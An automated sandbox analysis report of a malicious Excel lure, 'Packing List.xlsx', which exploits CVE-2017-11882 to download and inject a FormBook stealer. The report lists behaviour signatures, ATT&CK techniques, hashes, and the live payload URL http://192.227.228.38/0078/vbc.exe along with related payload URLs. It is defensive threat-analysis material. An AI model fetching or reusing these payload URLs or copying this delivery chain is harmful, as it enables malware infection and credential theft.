Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2696

Thread sleep time: -420000s >= -30000s

Source: C:\Users\Public\vbc.exe	Code function: 5_2_00405E93 FindFirstFileA,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00402671 FindFirstFileA,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_00402671 FindFirstFileA,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_00405E93 FindFirstFileA,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

Source: vbc.exe, 00000005.00000002.488053406.00000000004E4000.00000004.00000020.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Users\Public\vbc.exe

Code function: 5_2_73233070 lqcuopia,GetProcessHeap,RtlAllocateHeap,memset,VirtualProtect,

Source: C:\Users\Public\vbc.exe	Code function: 5_2_732354DA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 5_2_7323581C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 5_2_7323579F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 5_2_732356EE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 5_2_732357DE mov eax, dword ptr fs:[00000030h]

Source: C:\Users\Public\vbc.exe

Process queried: DebugPort

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\Public\vbc.exe

Memory written: C:\Users\Public\vbc.exe base: 1C0000 value starts with: 4D5A

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'

Source: vbc.exe, 00000006.00000002.682205793.00000000009C0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: vbc.exe, 00000006.00000002.682205793.00000000009C0000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: vbc.exe, 00000006.00000002.682205793.00000000009C0000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

Source: C:\Users\Public\vbc.exe

Code function: 5_2_004030FB EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match

File source: 00000005.00000002.488920647.00000000030BA000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match

File source: 00000005.00000002.488920647.00000000030BA000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Exploitation for Client Execution12	Path Interception	Process Injection112	Masquerading111	OS Credential Dumping	Security Software Discovery21	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Extra Window Memory Injection1	Virtualization/Sandbox Evasion2	LSASS Memory	Virtualization/Sandbox Evasion2	Remote Desktop Protocol	Clipboard Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection112	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information1	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol21	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information1	LSA Secrets	File and Directory Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Software Packing1	Cached Domain Credentials	System Information Discovery4	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Extra Window Memory Injection1	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Packing List.xlsx	32%	Virustotal		Browse
Packing List.xlsx	30%	ReversingLabs	Document-Office.Exploit.CVE-2017-11882

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\vbc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.2.vbc.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
5.2.vbc.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.400000.18.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.400000.16.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.1c0000.13.unpack	100%	Avira	W32/Delf.I	Download File
6.0.vbc.exe.1c0000.15.unpack	100%	Avira	W32/Delf.I	Download File
6.0.vbc.exe.1c0000.7.unpack	100%	Avira	W32/Delf.I	Download File
6.0.vbc.exe.1c0000.9.unpack	100%	Avira	W32/Delf.I	Download File
6.0.vbc.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.1c0000.21.unpack	100%	Avira	W32/Delf.I	Download File
6.0.vbc.exe.400000.24.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.400000.20.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.2.vbc.exe.1c0000.0.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
5.0.vbc.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.1c0000.5.unpack	100%	Avira	W32/Delf.I	Download File
6.0.vbc.exe.1c0000.23.unpack	100%	Avira	W32/Delf.I	Download File
6.0.vbc.exe.1c0000.17.unpack	100%	Avira	W32/Delf.I	Download File
6.0.vbc.exe.1c0000.11.unpack	100%	Avira	W32/Delf.I	Download File
6.0.vbc.exe.1c0000.25.unpack	100%	Avira	W32/Delf.I	Download File
6.0.vbc.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.1c0000.19.unpack	100%	Avira	W32/Delf.I	Download File
6.0.vbc.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.400000.26.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.400000.22.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.400000.12.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
6.0.vbc.exe.400000.14.unpack	100%	Avira	HEUR/AGEN.1130366	Download File
5.2.vbc.exe.30b0000.5.unpack	100%	Avira	W32/Delf.I	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://www.%s.comPA	0%	URL Reputation	safe
http://192.227.228.38/0078/vbc.exe	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.227.228.38/0078/vbc.exe	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.%s.comPA	vbc.exe, 00000005.00000002.488324538.00000000021E0000.00000002.00020000.sdmp	false	URL Reputation: safe	low
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	vbc.exe, 00000005.00000002.488324538.00000000021E0000.00000002.00020000.sdmp	false		high
http://nsis.sf.net/NSIS_Error	vbc.exe, vbc.exe, 00000006.00000000.474777707.0000000000409000.00000008.00020000.sdmp, vbc.exe.3.dr	false		high
http://nsis.sf.net/NSIS_ErrorError	vbc.exe, 00000005.00000000.468788902.0000000000409000.00000008.00020000.sdmp, vbc.exe, 00000006.00000000.474777707.0000000000409000.00000008.00020000.sdmp, vbc.exe.3.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.227.228.38	unknown	United States		36352	AS-COLOCROSSINGUS	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	510251
Start date:	27.10.2021
Start time:	16:32:11
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 54s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Packing List.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@6/20@0/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 81.7% (good quality ratio 77.5%) Quality average: 81.3% Quality standard deviation: 28.5%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, vga.dll, WMIADAP.exe, svchost.exe TCP Packets have been reduced to 100

Simulations

Behavior and APIs

Time	Type	Description
16:32:45	API Interceptor	68x Sleep call for process: EQNEDT32.EXE modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
192.227.228.38	Copy of Packing list.xlsx	Get hash	malicious	Browse	192.227.228.38/0002/vbc.exe
	ZbSq7CdOUj.rtf	Get hash	malicious	Browse	192.227.228.38/0080008/vbc.exe
	Hans Company Profile Introduction.docx	Get hash	malicious	Browse	192.227.228.38/0080008/vbc.exe
	statement of account.xlsx	Get hash	malicious	Browse	192.227.228.38/007007/vbc.exe

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-COLOCROSSINGUS	Wire_Slip.xlsx	Get hash	malicious	Browse	198.23.207.126
	Product List.xlsx	Get hash	malicious	Browse	198.12.84.79
	Wire Slip.xlsx	Get hash	malicious	Browse	198.23.207.126
	REIGHT USD INV1191189.xlsx	Get hash	malicious	Browse	107.172.13.131
	0091.xlsx	Get hash	malicious	Browse	198.23.207.126
	2TkB2NqXCr	Get hash	malicious	Browse	23.94.7.197
	zzTPBS20ET	Get hash	malicious	Browse	23.94.7.197
	89pORI97Y0	Get hash	malicious	Browse	23.94.7.197
	ute6vN10U5	Get hash	malicious	Browse	23.94.7.197
	MV0uBqNa6f	Get hash	malicious	Browse	23.94.7.197
	pNKZQ55tRW	Get hash	malicious	Browse	23.94.7.197
	QAxi5UqBjK	Get hash	malicious	Browse	23.94.7.197
	buM12G4dfw	Get hash	malicious	Browse	23.94.7.197
	ff9gc08m8k	Get hash	malicious	Browse	23.94.7.197
	Requested Items.xlsx	Get hash	malicious	Browse	192.227.158.118
	Euro_payment.xlsx	Get hash	malicious	Browse	23.94.159.219
	SHIPPING DOCUMENT.xlsx	Get hash	malicious	Browse	198.46.199.161
	Unpaid invoice 76810091.xlsx	Get hash	malicious	Browse	107.172.13.131
	DHL Receipt_AWB811470484778.xlsx	Get hash	malicious	Browse	198.12.84.79
	Remittance_Advice_USD35,949.xlsx	Get hash	malicious	Browse	104.168.32.50

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	downloaded
Size (bytes):	235529
Entropy (8bit):	7.915461873573666
Encrypted:	false
SSDEEP:	6144:wBlL/c2HMSZ54elOp0S4jfEpGibIsdpwBQ:Ce2HMSZWeO0S4Mh0gS6
MD5:	DF330AB2A2E5AA4AC947315EE3F93992
SHA1:	76B5D1EEE342B47FE58E2136A067712CBD210351
SHA-256:	99A897C5B8F53E1D04E51107C748A4F385B754A852CA6B605559F5B50820A64F
SHA-512:	E65F573D68E8F198024028D553210095173D1551E6074B60D9543977116A0286F75641F4692049A49E6CD03729B001027136419D6CF0C71645E800D5522ED895
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
IE Cache URL:	http://192.227.228.38/0078/vbc.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0(..QF..QF..QF.^...QF..QG.qQF.^...QF.rv..QF..W@..QF.Rich.QF.........PE..L...e:.V.................\...........0.......p....@..........................................................................t.......................................................................................p..\|............................text....Z.......\.................. ..`.rdata.......p.......`..............@..@.data...8............r..............@....ndata.......P...........................rsrc................x..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\251FF695.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 550 x 360, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	15625
Entropy (8bit):	7.975433466796902
Encrypted:	false
SSDEEP:	384:3quMy4uOwJYk5DcUWbdfFZBa7Q9bvC78yPelujgXolFo:6Zk5DcU+FXhavB/lFo
MD5:	79996F390643F9E11F14334A3740FA5E
SHA1:	3A99EC9B5E2057264FFE629D3ABA182912EDB80E
SHA-256:	406EE07DA7DEB2B38B87074EA55980BFE3FEFBD57E50AE7D25502D67A711B15C
SHA-512:	BDD3DB6E24418C0F8B74D79F3B0DDFFAF96A5CD2ABE0D45AEEC5E53EA17B0AD17B239C26781FD5BE34CAC3582F24773BF3FEF0616F6BE024117C1A2DB9A3F0B2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR...&...h.....T......bPLTE..."...P........{......P]............Fx....]..i..bb...,...........K.....................}..........=.....3.....srs...k.....QPR.~.........es.??@...keb"u.]\]x..1h......td..{.....*,...A..odz.....Q..qAXf............>............u...hXr.y......MTx......R..l..........................K8V%[......=.9nwQT..9.........._=..>.y.^LA.(...R.....;bIDATx..X.o.@.....G..E...6,F.M..T...UZ,!Y!...fIH(........h.?.k..x...%....P...D!...L..2).....G..c.d.+......&:.+........OQ..._..T......%>......e%4.fR......t.3..w..$Xp.6........L..=.vu.X..6.......W.G.4..Y.c....2c....\|i....#...~_.Z.66}....l.\...... .L\|..zk.G.."..)8. .&&....SN(.7...W...m_ J...<<..$..k.B.F...Q....hs.2!I.s..T...7e4D....E...c.bDl!...C.....t#...*p7.U.#t...32......uy;.....j'.j.#.G.C.. Z...(V.j.#\|..b...o.....R=....t.0Wf.r..?..c..R..9.........i.j.y[...A.c.F.uO.M.j...&.q..9T..k.-.+.<.zZ.<...6..rT..W..]..St._....h5^..2.3F.....r~+.8z.......+..[<..._.8...8v....`.o

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\27DB9FE4.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1099960
Entropy (8bit):	2.015321809949325
Encrypted:	false
SSDEEP:	3072:kXtr8tV3Iqf4ZdAt06J6dabLr92W2qtX2cT:CahIFdyiaT2qtXl
MD5:	C68C54CBF6E515EC83B659DC674D2013
SHA1:	AF1569EFB4539B1DB71B3D023869D4DB7AA133A8
SHA-256:	986959C09FA256369BA2D9DEF03B2A661E745E470FE8E196EE79A7083CE80869
SHA-512:	B195F95DAB6C4C4B469803FA66257BB8600F1F9F53C3139F3E5858763629CFF5E13DB51B5690CAC473EBA153D482C43228AA668157F7392B65E594AFE999E6C0
Malicious:	false
Reputation:	low
Preview:	....l...............C...........m>..?$.. EMF........&...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@......................................................%...........%...................................R...p................................@."C.a.l.i.b.r.i......................................................Z$.......f.Z.@\.%.............L.....RQ.[L..D.........0..$Q.[L..D.. ...Id.ZD..L.. ............d.Z............O...........................%...X...%...7...................{$..................C.a.l.i.b.r.i..............X...D..x...8.Z........dv......%...........%...........%...........!..............................."...........%...........%...........%...........T...T..........................@.E.@....C.......L.......................P... ...6...F..........EMF+@..$..........?...........?.........@...........@..........@..$..........?....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5268BA6B.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 838 x 469, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	21987
Entropy (8bit):	7.952828365949915
Encrypted:	false
SSDEEP:	384:MoaqtIZxNY3dMzKeijXyso4gYhVZAUrE68p/DazS396RFnDUhkhiedxQ9:AqtIZzYNM+HjXyjOhVZW68pPWGedO9
MD5:	5A25F525D9F0D658AF52A4F78FE031D4
SHA1:	525FB63F75E745FBC90E4E42E624E030C5DF94EB
SHA-256:	D791841D657B6D2A9E5ED1B7F8548B1044A2C7EC62D05846C72D8556DB9E9BC8
SHA-512:	FE2F2D9744CE7235F4DBC36861249372C42B85920B6A1C75A8B2C330BD07F7C4C12A5DF5CA9AAED4C2BCDAD9D196DFF3A34732EE296FE6F006A16ACC41F5EEC3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR...F................PLTE...0.....T[c..........................f..................9.....d.........k9u....b...........9....f..kr............t.......e.......9....]X........./.;9.................h..........d.<...({...........t_.....................c7..Ga.06?....._..V.....T..............9......e......ee...........f......:;.D."...h..............e...............Q....E.......l..~..t"....D.............................:....9...........T.........^..d9;....iv...09.Z...........................................................................$...ee9h.G..........................................~........................................;<.........`....................99....5..............................................................AL...R.IDATx...`..&.H......-@.n..]A... ..Fn.!`$X..&&..X@$c..dl<.#...PD....$&".1..h.N..Y3..L6.d.$.XFw..;&(a....=.:..Z].].Q....S..;.?...W%.D....1..s.!....4....`{U'.QU........~.e.*....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\67EFF2A.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 737 x 456, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	83904
Entropy (8bit):	7.986000888791215
Encrypted:	false
SSDEEP:	1536:xNzYthYR7Iu3TjzBH8lXtvmNy2k8KYpNNNQ64nBLEMoknbRVmnN6:xNzUGxDjeOs2kSNSBh24
MD5:	9F9A7311810407794A153B7C74AED720
SHA1:	EDEE8AE29407870DB468F9B23D8C171FBB0AE41C
SHA-256:	000586368A635172F65B169B41B993F69B5C3181372862258DFAD6F9449F16CD
SHA-512:	27FC1C21B8CB81607E28A55A32ED895DF16943E9D044C80BEC96C90D6D805999D4E2E5D4EFDE2AA06DB0F46805900B4F75DFC69B58614143EBF27908B79DDA42
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.............oi......IDATx..u\|........@ .@..[.H.5...<....R.8.P...b-....[.!...M..1{on.MB.@...{........r..9s.QTUE".H$..$.a._.@".H$..$...".H$..$;"e..D".H$..).H$..D".H.E".H$.IvD.(..D".H.#RF.H$..D...2.D".H$..Q$..D".dG..".H$..$;"e..D".H$..).H$..D".H.E".H$.IvD.(..D".H.#RF.H$..D...... y.P....D".H..TU}..RF..jRRR...A.1y..Eyj..d$Ne.U..x..f...,.3.......^.m.ga<r...Q..Y..&....43\|A...~...b...l..&........d../C..... ...sN....;.IFXX<..F.z$..D".dG..E..1.fR.%..= 6((W..5.m....YsM.!.....v..r.....\Y..h.N.M.v....{.%...........gb&.<..7/..).X..(\.......0k......k.d2..KI;...O.X..]j.G..BB(U..........`.zU@=t$...S........N...6..a`..t...z.v:.....M......YUe.N....TI...]NQ.<..vm....o....\|yt:......P..d.]....bE.zr.....UJ.y.b....5...gg..?..;pr..V-..U.66.h...Y.......q_t:.."M..x.7...4Y...aa.@qw.I..=.sgC.....pa.!O.Q.....%.f..P..~.uk...8.......-R....5m.I..S.BCC....9r...O.<8u....Q$..E!).`.6.7V.k+WF^...y...p......5.......\)~Y.7m....../.P._^.0W@.....[....<.R..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6EA2EAB1.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 1295 x 471, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	68702
Entropy (8bit):	7.960564589117156
Encrypted:	false
SSDEEP:	1536:Hu2p9Cy+445sz12HnOFIr0Z7gK8mhVgSKe/6mLsw:O2p9w1HCIOTKEhQw
MD5:	9B8C6AB5CD2CC1A2622CC4BB10D745C0
SHA1:	E3C68E3F16AE0A3544720238440EDCE12DFC900E
SHA-256:	AA5A55A415946466C1D1468A6349169D03A0C157A228B4A6C1C85BFD95506FE0
SHA-512:	407F29E5F0C2F993051E4B0C81BF76899C2708A97B6DF4E84246D6A2034B6AFE40B696853742B7E38B7BBE7815FCCCC396A3764EE8B1E6CFB2F2EF399E8FC715
Malicious:	false
Preview:	.PNG........IHDR.....................pHYs..........+......tIME......&...T....tEXtAuthor....H....tEXtDescription...!#....tEXtCopyright....:....tEXtCreation time.5.......tEXtSoftware.]p.:....tEXtDisclaimer.........tEXtWarning........tEXtSource.........tEXtComment........tEXtTitle....'.. .IDATx...y\|T.?..l..3. .$.D..(v....Q.q.....W.[...Z..-.Hlmm...4V..BU..V@,h.t.....}...cr.3.......B3s.....\|.}.G6j.t.Qv..-Q9...r\"""""""".H9...Y...v...........7........Q..^t{P..C..""""""""".e..n@7B.{Q.S.HDDDDDDDD...........\bxHDDDDDDDDD.1<$""""""""......d2Y@9`@c.v..8P...0`..a\|.....<... ..+...[""""""""".....~..,........+.t..._..o.....8z.$ ..U.Mp".....Z8.a;.B..'...y..I^......e........,}.+.M..K...M...A.7.Z[[.E.....B...nF.:5.."""""""".(.....d.3*..E.=...[o...o.....n..._.{..-..M.3....px(.5..4lt..&....d.R!.......!.$''.n.....X,..__ar.d..0 .M#"""""""..S...T...Ai.8P^XX(..d.....u[.f...8........[`...q..9R../.....v.b.5.r`.[.A..a.....a6......S.o.h7...........g..v..+.~.oB.H..\|..8...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\731170FE.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3
Category:	dropped
Size (bytes):	85020
Entropy (8bit):	7.2472785111025875
Encrypted:	false
SSDEEP:	768:RgnqDYqspFlysF6bCd+ksds0cdAgfpS56wmdhcsp0Pxm00JkxuacpxoOlwEF3hVL:RUqQGsF6OdxW6JmPncpxoOthOip
MD5:	738BDB90A9D8929A5FB2D06775F3336F
SHA1:	6A92C54218BFBEF83371E825D6B68D4F896C0DCE
SHA-256:	8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDA5A13F87DDAAB
SHA-512:	48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EED8EFC176FECF0BEF4EC4EE6C342FC76CCDA4E8D6
Malicious:	false
Preview:	......JFIF.............C....................................................................C.......................................................................r...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\84D2F0C8.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3
Category:	dropped
Size (bytes):	85020
Entropy (8bit):	7.2472785111025875
Encrypted:	false
SSDEEP:	768:RgnqDYqspFlysF6bCd+ksds0cdAgfpS56wmdhcsp0Pxm00JkxuacpxoOlwEF3hVL:RUqQGsF6OdxW6JmPncpxoOthOip
MD5:	738BDB90A9D8929A5FB2D06775F3336F
SHA1:	6A92C54218BFBEF83371E825D6B68D4F896C0DCE
SHA-256:	8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDA5A13F87DDAAB
SHA-512:	48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EED8EFC176FECF0BEF4EC4EE6C342FC76CCDA4E8D6
Malicious:	false
